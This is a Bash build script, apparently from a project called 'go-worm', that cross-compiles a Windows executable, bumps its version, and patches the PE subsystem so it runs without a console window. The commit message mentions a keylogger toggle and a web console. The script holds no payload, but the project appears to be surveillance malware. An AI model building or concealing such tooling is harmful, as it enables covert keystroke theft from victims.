- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
43 lines
1.2 KiB
Bash
Executable File
43 lines
1.2 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Cross-compile win64_mp for Windows amd64.
|
|
set -euo pipefail
|
|
cd "$(dirname "$0")/.."
|
|
|
|
out="${1:-win64_mp.exe}"
|
|
|
|
version_file="VERSION"
|
|
if [[ ! -f "$version_file" ]]; then
|
|
echo "1.0.0" > "$version_file"
|
|
fi
|
|
old="$(tr -d '[:space:]' < "$version_file")"
|
|
if [[ ! "$old" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
|
echo "bad VERSION: $old" >&2
|
|
exit 1
|
|
fi
|
|
IFS=. read -r major minor patch <<< "$old"
|
|
ver="${major}.${minor}.$((10#$patch + 1))"
|
|
printf '%s\n' "$ver" > "$version_file"
|
|
|
|
ldflags="-s -w -H windowsgui -X tea.chunkbyte.com/kato/go-worm/lib/config.Version=${ver}"
|
|
GOOS=windows GOARCH=amd64 go build -ldflags "$ldflags" -o "$out" .
|
|
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
|
|
python3 - "$out" <<'PY'
|
|
import struct, sys
|
|
path = sys.argv[1]
|
|
with open(path, "r+b") as f:
|
|
f.seek(0x3C)
|
|
pe = struct.unpack("<I", f.read(4))[0]
|
|
f.seek(pe)
|
|
if f.read(4) != b"PE\x00\x00":
|
|
raise SystemExit(f"not a PE file: {path}")
|
|
opt = pe + 24
|
|
f.seek(opt)
|
|
magic, = struct.unpack("<H", f.read(2))
|
|
if magic not in (0x10B, 0x20B):
|
|
raise SystemExit(f"unknown PE magic {magic:#x}")
|
|
f.seek(opt + 68)
|
|
f.write(struct.pack("<H", 2))
|
|
print(f"pe subsystem=gui {path}")
|
|
PY
|
|
echo "built $out $ver"
|